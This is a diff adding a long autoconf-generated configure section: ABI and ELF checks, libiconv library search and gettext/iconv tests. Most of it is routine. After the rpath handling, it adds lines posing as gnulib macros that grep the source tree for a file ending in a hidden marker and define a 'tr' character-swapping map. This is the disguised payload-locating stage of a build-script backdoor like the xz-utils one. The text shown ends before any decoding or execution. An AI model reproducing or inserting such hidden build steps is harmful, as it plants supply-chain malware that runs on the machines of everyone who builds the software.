conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext + ;; + + powerpc* ) + # Different ABIs are in use on AIX vs. Mac OS X vs. Linux,*BSD. + # No need to distinguish them here; the caller may distinguish + # them based on the OS. + # On powerpc64 systems, the C compiler may still be generating + # 32-bit code. And on powerpc-ibm-aix systems, the C compiler may + # be generating 64-bit code. + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +#if defined __powerpc64__ || defined __LP64__ + int ok; + #else + error fail + #endif + +_ACEOF +if ac_fn_c_try_compile "$LINENO" +then : + gl_cv_host_cpu_c_abi_32bit=no +else case e in #( + e) gl_cv_host_cpu_c_abi_32bit=yes ;; +esac +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext + ;; + + rs6000 ) + gl_cv_host_cpu_c_abi_32bit=yes + ;; + + riscv32 | riscv64 ) + # There are 6 ABIs: ilp32, ilp32f, ilp32d, lp64, lp64f, lp64d. + # Size of 'long' and 'void *': + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +#if defined __LP64__ + int ok; + #else + error fail + #endif + +_ACEOF +if ac_fn_c_try_compile "$LINENO" +then : + gl_cv_host_cpu_c_abi_32bit=no +else case e in #( + e) gl_cv_host_cpu_c_abi_32bit=yes ;; +esac +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext + ;; + + s390* ) + # On s390x, the C compiler may be generating 64-bit (= s390x) code + # or 31-bit (= s390) code. + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +#if defined __LP64__ || defined __s390x__ + int ok; + #else + error fail + #endif + +_ACEOF +if ac_fn_c_try_compile "$LINENO" +then : + gl_cv_host_cpu_c_abi_32bit=no +else case e in #( + e) gl_cv_host_cpu_c_abi_32bit=yes ;; +esac +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext + ;; + + sparc | sparc64 ) + # UltraSPARCs running Linux have `uname -m` = "sparc64", but the + # C compiler still generates 32-bit code. + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +#if defined __sparcv9 || defined __arch64__ + int ok; + #else + error fail + #endif + +_ACEOF +if ac_fn_c_try_compile "$LINENO" +then : + gl_cv_host_cpu_c_abi_32bit=no +else case e in #( + e) gl_cv_host_cpu_c_abi_32bit=yes ;; +esac +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext + ;; + + *) + gl_cv_host_cpu_c_abi_32bit=unknown + ;; + esac + fi + ;; +esac +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $gl_cv_host_cpu_c_abi_32bit" >&5 +printf "%s\n" "$gl_cv_host_cpu_c_abi_32bit" >&6; } + + HOST_CPU_C_ABI_32BIT="$gl_cv_host_cpu_c_abi_32bit" + + + + + + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for ELF binary format" >&5 +printf %s "checking for ELF binary format... " >&6; } +if test ${gl_cv_elf+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +#if defined __ELF__ || (defined __linux__ && defined __EDG__) + Extensible Linking Format + #endif + +_ACEOF +if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | + $EGREP_TRADITIONAL "Extensible Linking Format" >/dev/null 2>&1 +then : + gl_cv_elf=yes +else case e in #( + e) gl_cv_elf=no ;; +esac +fi +rm -rf conftest* + + ;; +esac +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $gl_cv_elf" >&5 +printf "%s\n" "$gl_cv_elf" >&6; } + if test $gl_cv_elf = yes; then + # Extract the ELF class of a file (5th byte) in decimal. + # Cf. https://en.wikipedia.org/wiki/Executable_and_Linkable_Format#File_header + if od -A x < /dev/null >/dev/null 2>/dev/null; then + # Use POSIX od. + func_elfclass () + { + od -A n -t d1 -j 4 -N 1 + } + else + # Use BSD hexdump. + func_elfclass () + { + dd bs=1 count=1 skip=4 2>/dev/null | hexdump -e '1/1 "%3d "' + echo + } + fi + # Use 'expr', not 'test', to compare the values of func_elfclass, because on + # Solaris 11 OpenIndiana and Solaris 11 OmniOS, the result is 001 or 002, + # not 1 or 2. + case $HOST_CPU_C_ABI_32BIT in + yes) + # 32-bit ABI. + acl_is_expected_elfclass () + { + expr "`func_elfclass | sed -e 's/[ ]//g'`" = 1 > /dev/null + } + ;; + no) + # 64-bit ABI. + acl_is_expected_elfclass () + { + expr "`func_elfclass | sed -e 's/[ ]//g'`" = 2 > /dev/null + } + ;; + *) + # Unknown. + acl_is_expected_elfclass () + { + : + } + ;; + esac + else + acl_is_expected_elfclass () + { + : + } + fi + + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for the common suffixes of directories in the library search path" >&5 +printf %s "checking for the common suffixes of directories in the library search path... " >&6; } +if test ${acl_cv_libdirstems+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) acl_libdirstem=lib + acl_libdirstem2= + acl_libdirstem3= + case "$host_os" in + solaris*) + if test $HOST_CPU_C_ABI_32BIT = no; then + acl_libdirstem2=lib/64 + case "$host_cpu" in + sparc*) acl_libdirstem3=lib/sparcv9 ;; + i*86 | x86_64) acl_libdirstem3=lib/amd64 ;; + esac + fi + ;; + *) + searchpath=`(LC_ALL=C $CC $CPPFLAGS $CFLAGS -print-search-dirs) 2>/dev/null \ + | sed -n -e 's,^libraries: ,,p' | sed -e 's,^=,,'` + if test $HOST_CPU_C_ABI_32BIT != no; then + # 32-bit or unknown ABI. + if test -d /usr/lib32; then + acl_libdirstem2=lib32 + fi + fi + if test $HOST_CPU_C_ABI_32BIT != yes; then + # 64-bit or unknown ABI. + if test -d /usr/lib64; then + acl_libdirstem3=lib64 + fi + fi + if test -n "$searchpath"; then + acl_save_IFS="${IFS= }"; IFS=":" + for searchdir in $searchpath; do + if test -d "$searchdir"; then + case "$searchdir" in + */lib32/ | */lib32 ) acl_libdirstem2=lib32 ;; + */lib64/ | */lib64 ) acl_libdirstem3=lib64 ;; + */../ | */.. ) + # Better ignore directories of this form. They are misleading. + ;; + *) searchdir=`cd "$searchdir" && pwd` + case "$searchdir" in + */lib32 ) acl_libdirstem2=lib32 ;; + */lib64 ) acl_libdirstem3=lib64 ;; + esac ;; + esac + fi + done + IFS="$acl_save_IFS" + if test $HOST_CPU_C_ABI_32BIT = yes; then + # 32-bit ABI. + acl_libdirstem3= + fi + if test $HOST_CPU_C_ABI_32BIT = no; then + # 64-bit ABI. + acl_libdirstem2= + fi + fi + ;; + esac + test -n "$acl_libdirstem2" || acl_libdirstem2="$acl_libdirstem" + test -n "$acl_libdirstem3" || acl_libdirstem3="$acl_libdirstem" + acl_cv_libdirstems="$acl_libdirstem,$acl_libdirstem2,$acl_libdirstem3" + ;; +esac +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $acl_cv_libdirstems" >&5 +printf "%s\n" "$acl_cv_libdirstems" >&6; } + acl_libdirstem=`echo "$acl_cv_libdirstems" | sed -e 's/,.*//'` + acl_libdirstem2=`echo "$acl_cv_libdirstems" | sed -e 's/^[^,]*,//' -e 's/,.*//'` + acl_libdirstem3=`echo "$acl_cv_libdirstems" | sed -e 's/^[^,]*,[^,]*,//' -e 's/,.*//'` + + + + + + + + + + + + use_additional=yes + + acl_save_prefix="$prefix" + prefix="$acl_final_prefix" + acl_save_exec_prefix="$exec_prefix" + exec_prefix="$acl_final_exec_prefix" + + eval additional_includedir=\"$includedir\" + eval additional_libdir=\"$libdir\" + eval additional_libdir2=\"$exec_prefix/$acl_libdirstem2\" + eval additional_libdir3=\"$exec_prefix/$acl_libdirstem3\" + + exec_prefix="$acl_save_exec_prefix" + prefix="$acl_save_prefix" + + +# Check whether --with-libiconv-prefix was given. +if test ${with_libiconv_prefix+y} +then : + withval=$with_libiconv_prefix; + if test "X$withval" = "Xno"; then + use_additional=no + else + if test "X$withval" = "X"; then + + acl_save_prefix="$prefix" + prefix="$acl_final_prefix" + acl_save_exec_prefix="$exec_prefix" + exec_prefix="$acl_final_exec_prefix" + + eval additional_includedir=\"$includedir\" + eval additional_libdir=\"$libdir\" + eval additional_libdir2=\"$exec_prefix/$acl_libdirstem2\" + eval additional_libdir3=\"$exec_prefix/$acl_libdirstem3\" + + exec_prefix="$acl_save_exec_prefix" + prefix="$acl_save_prefix" + + else + additional_includedir="$withval/include" + additional_libdir="$withval/$acl_libdirstem" + additional_libdir2="$withval/$acl_libdirstem2" + additional_libdir3="$withval/$acl_libdirstem3" + fi + fi + +fi + + if test "X$additional_libdir2" = "X$additional_libdir"; then + additional_libdir2= + fi + if test "X$additional_libdir3" = "X$additional_libdir"; then + additional_libdir3= + fi + LIBICONV= + LTLIBICONV= + INCICONV= + LIBICONV_PREFIX= + HAVE_LIBICONV= + rpathdirs= + ltrpathdirs= + names_already_handled= + names_next_round='iconv ' + while test -n "$names_next_round"; do + names_this_round="$names_next_round" + names_next_round= + for name in $names_this_round; do + already_handled= + for n in $names_already_handled; do + if test "$n" = "$name"; then + already_handled=yes + break + fi + done + if test -z "$already_handled"; then + names_already_handled="$names_already_handled $name" + uppername=`echo "$name" | sed -e 'y|abcdefghijklmnopqrstuvwxyz./+-|ABCDEFGHIJKLMNOPQRSTUVWXYZ____|'` + eval value=\"\$HAVE_LIB$uppername\" + if test -n "$value"; then + if test "$value" = yes; then + eval value=\"\$LIB$uppername\" + test -z "$value" || LIBICONV="${LIBICONV}${LIBICONV:+ }$value" + eval value=\"\$LTLIB$uppername\" + test -z "$value" || LTLIBICONV="${LTLIBICONV}${LTLIBICONV:+ }$value" + else + : + fi + else + found_dir= + found_la= + found_so= + found_a= + eval libname=\"$acl_libname_spec\" # typically: libname=lib$name + if test -n "$acl_shlibext"; then + shrext=".$acl_shlibext" # typically: shrext=.so + else + shrext= + fi + if test $use_additional = yes; then + for additional_libdir_variable in additional_libdir additional_libdir2 additional_libdir3; do + if test "X$found_dir" = "X"; then + eval dir=\$$additional_libdir_variable + if test -n "$dir"; then + if test -n "$acl_shlibext"; then + if test -f "$dir/$libname$shrext" && acl_is_expected_elfclass < "$dir/$libname$shrext"; then + found_dir="$dir" + found_so="$dir/$libname$shrext" + else + if test "$acl_library_names_spec" = '$libname$shrext$versuffix'; then + ver=`(cd "$dir" && \ + for f in "$libname$shrext".*; do echo "$f"; done \ + | sed -e "s,^$libname$shrext\\\\.,," \ + | sort -t '.' -n -r -k1,1 -k2,2 -k3,3 -k4,4 -k5,5 \ + | sed 1q ) 2>/dev/null` + if test -n "$ver" && test -f "$dir/$libname$shrext.$ver" && acl_is_expected_elfclass < "$dir/$libname$shrext.$ver"; then + found_dir="$dir" + found_so="$dir/$libname$shrext.$ver" + fi + else + eval library_names=\"$acl_library_names_spec\" + for f in $library_names; do + if test -f "$dir/$f" && acl_is_expected_elfclass < "$dir/$f"; then + found_dir="$dir" + found_so="$dir/$f" + break + fi + done + fi + fi + fi + if test "X$found_dir" = "X"; then + if test -f "$dir/$libname.$acl_libext" && ${AR-ar} -p "$dir/$libname.$acl_libext" | acl_is_expected_elfclass; then + found_dir="$dir" + found_a="$dir/$libname.$acl_libext" + fi + fi + if test "X$found_dir" != "X"; then + if test -f "$dir/$libname.la"; then + found_la="$dir/$libname.la" + fi + fi + fi + fi + done + fi + if test "X$found_dir" = "X"; then + for x in $LDFLAGS $LTLIBICONV; do + + acl_save_prefix="$prefix" + prefix="$acl_final_prefix" + acl_save_exec_prefix="$exec_prefix" + exec_prefix="$acl_final_exec_prefix" + eval x=\"$x\" + exec_prefix="$acl_save_exec_prefix" + prefix="$acl_save_prefix" + + case "$x" in + -L*) + dir=`echo "X$x" | sed -e 's/^X-L//'` + if test -n "$acl_shlibext"; then + if test -f "$dir/$libname$shrext" && acl_is_expected_elfclass < "$dir/$libname$shrext"; then + found_dir="$dir" + found_so="$dir/$libname$shrext" + else + if test "$acl_library_names_spec" = '$libname$shrext$versuffix'; then + ver=`(cd "$dir" && \ + for f in "$libname$shrext".*; do echo "$f"; done \ + | sed -e "s,^$libname$shrext\\\\.,," \ + | sort -t '.' -n -r -k1,1 -k2,2 -k3,3 -k4,4 -k5,5 \ + | sed 1q ) 2>/dev/null` + if test -n "$ver" && test -f "$dir/$libname$shrext.$ver" && acl_is_expected_elfclass < "$dir/$libname$shrext.$ver"; then + found_dir="$dir" + found_so="$dir/$libname$shrext.$ver" + fi + else + eval library_names=\"$acl_library_names_spec\" + for f in $library_names; do + if test -f "$dir/$f" && acl_is_expected_elfclass < "$dir/$f"; then + found_dir="$dir" + found_so="$dir/$f" + break + fi + done + fi + fi + fi + if test "X$found_dir" = "X"; then + if test -f "$dir/$libname.$acl_libext" && ${AR-ar} -p "$dir/$libname.$acl_libext" | acl_is_expected_elfclass; then + found_dir="$dir" + found_a="$dir/$libname.$acl_libext" + fi + fi + if test "X$found_dir" != "X"; then + if test -f "$dir/$libname.la"; then + found_la="$dir/$libname.la" + fi + fi + ;; + esac + if test "X$found_dir" != "X"; then + break + fi + done + fi + if test "X$found_dir" != "X"; then + LTLIBICONV="${LTLIBICONV}${LTLIBICONV:+ }-L$found_dir -l$name" + if test "X$found_so" != "X"; then + if test "$enable_rpath" = no \ + || test "X$found_dir" = "X/usr/$acl_libdirstem" \ + || test "X$found_dir" = "X/usr/$acl_libdirstem2" \ + || test "X$found_dir" = "X/usr/$acl_libdirstem3"; then + LIBICONV="${LIBICONV}${LIBICONV:+ }$found_so" + else + haveit= + for x in $ltrpathdirs; do + if test "X$x" = "X$found_dir"; then + haveit=yes + break + fi + done + if test -z "$haveit"; then + ltrpathdirs="$ltrpathdirs $found_dir" + fi + if test "$acl_hardcode_direct" = yes; then + LIBICONV="${LIBICONV}${LIBICONV:+ }$found_so" + else + if test -n "$acl_hardcode_libdir_flag_spec" && test "$acl_hardcode_minus_L" = no; then + LIBICONV="${LIBICONV}${LIBICONV:+ }$found_so" + haveit= + for x in $rpathdirs; do + if test "X$x" = "X$found_dir"; then + haveit=yes + break + fi + done + if test -z "$haveit"; then + rpathdirs="$rpathdirs $found_dir" + fi + else + haveit= + for x in $LDFLAGS $LIBICONV; do + + acl_save_prefix="$prefix" + prefix="$acl_final_prefix" + acl_save_exec_prefix="$exec_prefix" + exec_prefix="$acl_final_exec_prefix" + eval x=\"$x\" + exec_prefix="$acl_save_exec_prefix" + prefix="$acl_save_prefix" + + if test "X$x" = "X-L$found_dir"; then + haveit=yes + break + fi + done + if test -z "$haveit"; then + LIBICONV="${LIBICONV}${LIBICONV:+ }-L$found_dir" + fi + if test "$acl_hardcode_minus_L" != no; then + LIBICONV="${LIBICONV}${LIBICONV:+ }$found_so" + else + LIBICONV="${LIBICONV}${LIBICONV:+ }-l$name" + fi + fi + fi + fi + else + if test "X$found_a" != "X"; then + LIBICONV="${LIBICONV}${LIBICONV:+ }$found_a" + else + LIBICONV="${LIBICONV}${LIBICONV:+ }-L$found_dir -l$name" + fi + fi + additional_includedir= + case "$found_dir" in + */$acl_libdirstem | */$acl_libdirstem/) + basedir=`echo "X$found_dir" | sed -e 's,^X,,' -e "s,/$acl_libdirstem/"'*$,,'` + if test "$name" = 'iconv'; then + LIBICONV_PREFIX="$basedir" + fi + additional_includedir="$basedir/include" + ;; + */$acl_libdirstem2 | */$acl_libdirstem2/) + basedir=`echo "X$found_dir" | sed -e 's,^X,,' -e "s,/$acl_libdirstem2/"'*$,,'` + if test "$name" = 'iconv'; then + LIBICONV_PREFIX="$basedir" + fi + additional_includedir="$basedir/include" + ;; + */$acl_libdirstem3 | */$acl_libdirstem3/) + basedir=`echo "X$found_dir" | sed -e 's,^X,,' -e "s,/$acl_libdirstem3/"'*$,,'` + if test "$name" = 'iconv'; then + LIBICONV_PREFIX="$basedir" + fi + additional_includedir="$basedir/include" + ;; + esac + if test "X$additional_includedir" != "X"; then + if test "X$additional_includedir" != "X/usr/include"; then + haveit= + if test "X$additional_includedir" = "X/usr/local/include"; then + if test -n "$GCC"; then + case $host_os in + linux* | gnu* | k*bsd*-gnu) haveit=yes;; + esac + fi + fi + if test -z "$haveit"; then + for x in $CPPFLAGS $INCICONV; do + + acl_save_prefix="$prefix" + prefix="$acl_final_prefix" + acl_save_exec_prefix="$exec_prefix" + exec_prefix="$acl_final_exec_prefix" + eval x=\"$x\" + exec_prefix="$acl_save_exec_prefix" + prefix="$acl_save_prefix" + + if test "X$x" = "X-I$additional_includedir"; then + haveit=yes + break + fi + done + if test -z "$haveit"; then + if test -d "$additional_includedir"; then + INCICONV="${INCICONV}${INCICONV:+ }-I$additional_includedir" + fi + fi + fi + fi + fi + if test -n "$found_la"; then + save_libdir="$libdir" + case "$found_la" in + */* | *\\*) . "$found_la" ;; + *) . "./$found_la" ;; + esac + libdir="$save_libdir" + for dep in $dependency_libs; do + case "$dep" in + -L*) + dependency_libdir=`echo "X$dep" | sed -e 's/^X-L//'` + if test "X$dependency_libdir" != "X/usr/$acl_libdirstem" \ + && test "X$dependency_libdir" != "X/usr/$acl_libdirstem2" \ + && test "X$dependency_libdir" != "X/usr/$acl_libdirstem3"; then + haveit= + if test "X$dependency_libdir" = "X/usr/local/$acl_libdirstem" \ + || test "X$dependency_libdir" = "X/usr/local/$acl_libdirstem2" \ + || test "X$dependency_libdir" = "X/usr/local/$acl_libdirstem3"; then + if test -n "$GCC"; then + case $host_os in + linux* | gnu* | k*bsd*-gnu) haveit=yes;; + esac + fi + fi + if test -z "$haveit"; then + haveit= + for x in $LDFLAGS $LIBICONV; do + + acl_save_prefix="$prefix" + prefix="$acl_final_prefix" + acl_save_exec_prefix="$exec_prefix" + exec_prefix="$acl_final_exec_prefix" + eval x=\"$x\" + exec_prefix="$acl_save_exec_prefix" + prefix="$acl_save_prefix" + + if test "X$x" = "X-L$dependency_libdir"; then + haveit=yes + break + fi + done + if test -z "$haveit"; then + if test -d "$dependency_libdir"; then + LIBICONV="${LIBICONV}${LIBICONV:+ }-L$dependency_libdir" + fi + fi + haveit= + for x in $LDFLAGS $LTLIBICONV; do + + acl_save_prefix="$prefix" + prefix="$acl_final_prefix" + acl_save_exec_prefix="$exec_prefix" + exec_prefix="$acl_final_exec_prefix" + eval x=\"$x\" + exec_prefix="$acl_save_exec_prefix" + prefix="$acl_save_prefix" + + if test "X$x" = "X-L$dependency_libdir"; then + haveit=yes + break + fi + done + if test -z "$haveit"; then + if test -d "$dependency_libdir"; then + LTLIBICONV="${LTLIBICONV}${LTLIBICONV:+ }-L$dependency_libdir" + fi + fi + fi + fi + ;; + -R*) + dir=`echo "X$dep" | sed -e 's/^X-R//'` + if test "$enable_rpath" != no; then + haveit= + for x in $rpathdirs; do + if test "X$x" = "X$dir"; then + haveit=yes + break + fi + done + if test -z "$haveit"; then + rpathdirs="$rpathdirs $dir" + fi + haveit= + for x in $ltrpathdirs; do + if test "X$x" = "X$dir"; then + haveit=yes + break + fi + done + if test -z "$haveit"; then + ltrpathdirs="$ltrpathdirs $dir" + fi + fi + ;; + -l*) + dep=`echo "X$dep" | sed -e 's/^X-l//'` + if test "X$dep" != Xc \ + || case $host_os in + linux* | gnu* | k*bsd*-gnu) false ;; + *) true ;; + esac; then + names_next_round="$names_next_round $dep" + fi + ;; + *.la) + names_next_round="$names_next_round "`echo "X$dep" | sed -e 's,^X.*/,,' -e 's,^lib,,' -e 's,\.la$,,'` + ;; + *) + LIBICONV="${LIBICONV}${LIBICONV:+ }$dep" + LTLIBICONV="${LTLIBICONV}${LTLIBICONV:+ }$dep" + ;; + esac + done + fi + else + LIBICONV="${LIBICONV}${LIBICONV:+ }-l$name" + LTLIBICONV="${LTLIBICONV}${LTLIBICONV:+ }-l$name" + fi + fi + fi + done + done + if test "X$rpathdirs" != "X"; then + if test -n "$acl_hardcode_libdir_separator"; then + alldirs= + for found_dir in $rpathdirs; do + alldirs="${alldirs}${alldirs:+$acl_hardcode_libdir_separator}$found_dir" + done + acl_save_libdir="$libdir" + libdir="$alldirs" + eval flag=\"$acl_hardcode_libdir_flag_spec\" + libdir="$acl_save_libdir" + LIBICONV="${LIBICONV}${LIBICONV:+ }$flag" + else + for found_dir in $rpathdirs; do + acl_save_libdir="$libdir" + libdir="$found_dir" + eval flag=\"$acl_hardcode_libdir_flag_spec\" + libdir="$acl_save_libdir" + LIBICONV="${LIBICONV}${LIBICONV:+ }$flag" + done + fi + fi + if test "X$ltrpathdirs" != "X"; then + for found_dir in $ltrpathdirs; do + LTLIBICONV="${LTLIBICONV}${LTLIBICONV:+ }-R$found_dir" + done + fi + + + + + + + + gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/null` + if test -n "$gl_am_configmake"; then + HAVE_PKG_CONFIGMAKE=1 + else + HAVE_PKG_CONFIGMAKE=0 + fi + + gl_sed_double_backslashes='s/\\/\\\\/g' + gl_sed_escape_doublequotes='s/"/\\"/g' + gl_path_map='tr "\t \-_" " \t_\-"' + gl_sed_escape_for_make_1="s,\\([ \"&'();<>\\\\\`|]\\),\\\\\\1,g" + gl_sed_escape_for_make_2='s,\$,\\$$,g' + case `echo r | tr -d '\r'` in + '') gl_tr_cr='\015' ;; + *) gl_tr_cr='\r' ;; + esac + + + + + + + + + + + + + + + + + + + + + + + + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for CFPreferencesCopyAppValue" >&5 +printf %s "checking for CFPreferencesCopyAppValue... " >&6; } +if test ${gt_cv_func_CFPreferencesCopyAppValue+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) gt_save_LIBS="$LIBS" + LIBS="$LIBS -Wl,-framework -Wl,CoreFoundation" + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +#include +int +main (void) +{ +CFPreferencesCopyAppValue(NULL, NULL) + ; + return 0; +} +_ACEOF +if ac_fn_c_try_link "$LINENO" +then : + gt_cv_func_CFPreferencesCopyAppValue=yes +else case e in #( + e) gt_cv_func_CFPreferencesCopyAppValue=no ;; +esac +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam \ + conftest$ac_exeext conftest.$ac_ext + LIBS="$gt_save_LIBS" ;; +esac +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $gt_cv_func_CFPreferencesCopyAppValue" >&5 +printf "%s\n" "$gt_cv_func_CFPreferencesCopyAppValue" >&6; } + if test $gt_cv_func_CFPreferencesCopyAppValue = yes; then + +printf "%s\n" "#define HAVE_CFPREFERENCESCOPYAPPVALUE 1" >>confdefs.h + + fi + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for CFLocaleCopyPreferredLanguages" >&5 +printf %s "checking for CFLocaleCopyPreferredLanguages... " >&6; } +if test ${gt_cv_func_CFLocaleCopyPreferredLanguages+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) gt_save_LIBS="$LIBS" + LIBS="$LIBS -Wl,-framework -Wl,CoreFoundation" + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +#include +int +main (void) +{ +CFLocaleCopyPreferredLanguages(); + ; + return 0; +} +_ACEOF +if ac_fn_c_try_link "$LINENO" +then : + gt_cv_func_CFLocaleCopyPreferredLanguages=yes +else case e in #( + e) gt_cv_func_CFLocaleCopyPreferredLanguages=no ;; +esac +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam \ + conftest$ac_exeext conftest.$ac_ext + LIBS="$gt_save_LIBS" ;; +esac +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $gt_cv_func_CFLocaleCopyPreferredLanguages" >&5 +printf "%s\n" "$gt_cv_func_CFLocaleCopyPreferredLanguages" >&6; } + if test $gt_cv_func_CFLocaleCopyPreferredLanguages = yes; then + +printf "%s\n" "#define HAVE_CFLOCALECOPYPREFERREDLANGUAGES 1" >>confdefs.h + + fi + INTL_MACOSX_LIBS= + if test $gt_cv_func_CFPreferencesCopyAppValue = yes \ + || test $gt_cv_func_CFLocaleCopyPreferredLanguages = yes; then + INTL_MACOSX_LIBS="-Wl,-framework -Wl,CoreFoundation -Wl,-framework -Wl,CoreServices" + fi + + + + + + + LIBINTL= + LTLIBINTL= + POSUB= + + case " $gt_needs " in + *" need-formatstring-macros "*) gt_api_version=3 ;; + *" need-ngettext "*) gt_api_version=2 ;; + *) gt_api_version=1 ;; + esac + gt_func_gnugettext_libc="gt_cv_func_gnugettext${gt_api_version}_libc" + gt_func_gnugettext_libintl="gt_cv_func_gnugettext${gt_api_version}_libintl" + + if test "$USE_NLS" = "yes"; then + gt_use_preinstalled_gnugettext=no + + + if test $gt_api_version -ge 3; then + gt_revision_test_code=' +#ifndef __GNU_GETTEXT_SUPPORTED_REVISION +#define __GNU_GETTEXT_SUPPORTED_REVISION(major) ((major) == 0 ? 0 : -1) +#endif +typedef int array [2 * (__GNU_GETTEXT_SUPPORTED_REVISION(0) >= 1) - 1]; +' + else + gt_revision_test_code= + fi + if test $gt_api_version -ge 2; then + gt_expression_test_code=' + * ngettext ("", "", 0)' + else + gt_expression_test_code= + fi + + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for GNU gettext in libc" >&5 +printf %s "checking for GNU gettext in libc... " >&6; } +if eval test \${$gt_func_gnugettext_libc+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +#include +#ifndef __GNU_GETTEXT_SUPPORTED_REVISION +extern int _nl_msg_cat_cntr; +extern int *_nl_domain_bindings; +#define __GNU_GETTEXT_SYMBOL_EXPRESSION (_nl_msg_cat_cntr + *_nl_domain_bindings) +#else +#define __GNU_GETTEXT_SYMBOL_EXPRESSION 0 +#endif +$gt_revision_test_code + +int +main (void) +{ + +bindtextdomain ("", ""); +return * gettext ("")$gt_expression_test_code + __GNU_GETTEXT_SYMBOL_EXPRESSION + + ; + return 0; +} +_ACEOF +if ac_fn_c_try_link "$LINENO" +then : + eval "$gt_func_gnugettext_libc=yes" +else case e in #( + e) eval "$gt_func_gnugettext_libc=no" ;; +esac +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam \ + conftest$ac_exeext conftest.$ac_ext ;; +esac +fi +eval ac_res=\$$gt_func_gnugettext_libc + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_res" >&5 +printf "%s\n" "$ac_res" >&6; } + + if { eval "gt_val=\$$gt_func_gnugettext_libc"; test "$gt_val" != "yes"; }; then + + + + + + am_save_CPPFLAGS="$CPPFLAGS" + + for element in $INCICONV; do + haveit= + for x in $CPPFLAGS; do + + acl_save_prefix="$prefix" + prefix="$acl_final_prefix" + acl_save_exec_prefix="$exec_prefix" + exec_prefix="$acl_final_exec_prefix" + eval x=\"$x\" + exec_prefix="$acl_save_exec_prefix" + prefix="$acl_save_prefix" + + if test "X$x" = "X$element"; then + haveit=yes + break + fi + done + if test -z "$haveit"; then + CPPFLAGS="${CPPFLAGS}${CPPFLAGS:+ }$element" + fi + done + + + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for iconv" >&5 +printf %s "checking for iconv... " >&6; } +if test ${am_cv_func_iconv+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) + am_cv_func_iconv="no, consider installing GNU libiconv" + am_cv_lib_iconv=no + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +#include +#include + +int +main (void) +{ +iconv_t cd = iconv_open("",""); + iconv(cd,NULL,NULL,NULL,NULL); + iconv_close(cd); + ; + return 0; +} +_ACEOF +if ac_fn_c_try_link "$LINENO" +then : + am_cv_func_iconv=yes +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam \ + conftest$ac_exeext conftest.$ac_ext + if test "$am_cv_func_iconv" != yes; then + am_save_LIBS="$LIBS" + LIBS="$LIBS $LIBICONV" + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +#include +#include + +int +main (void) +{ +iconv_t cd = iconv_open("",""); + iconv(cd,NULL,NULL,NULL,NULL); + iconv_close(cd); + ; + return 0; +} +_ACEOF +if ac_fn_c_try_link "$LINENO" +then : + am_cv_lib_iconv=yes + am_cv_func_iconv=yes +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam \ + conftest$ac_exeext conftest.$ac_ext + LIBS="$am_save_LIBS" + fi + ;; +esac +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $am_cv_func_iconv" >&5 +printf "%s\n" "$am_cv_func_iconv" >&6; } + if test "$am_cv_func_iconv" = yes; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for working iconv" >&5 +printf %s "checking for working iconv... " >&6; } +if test ${am_cv_func_iconv_works+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) + am_save_LIBS="$LIBS" + if test $am_cv_lib_iconv = yes; then + LIBS="$LIBS $LIBICONV" + fi + am_cv_func_iconv_works=no + for ac_iconv_const in '' 'const'; do + if test "$cross_compiling" = yes +then : + case "$host_os" in + aix* | hpux*) am_cv_func_iconv_works="guessing no" ;; + *) am_cv_func_iconv_works="guessing yes" ;; + esac +else case e in #( + e) cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +#include +#include + +#ifndef ICONV_CONST +# define ICONV_CONST $ac_iconv_const +#endif + +int +main (void) +{ +int result = 0; + /* Test against AIX 5.1...7.2 bug: Failures are not distinguishable from + successful returns. This is even documented in + */ + { + iconv_t cd_utf8_to_88591 = iconv_open ("ISO8859-1", "UTF-8"); + if (cd_utf8_to_88591 != (iconv_t)(-1)) + { + static ICONV_CONST char input[] = "\342\202\254"; /* EURO SIGN */ + char buf[10]; + ICONV_CONST char *inptr = input; + size_t inbytesleft = strlen (input); + char *outptr = 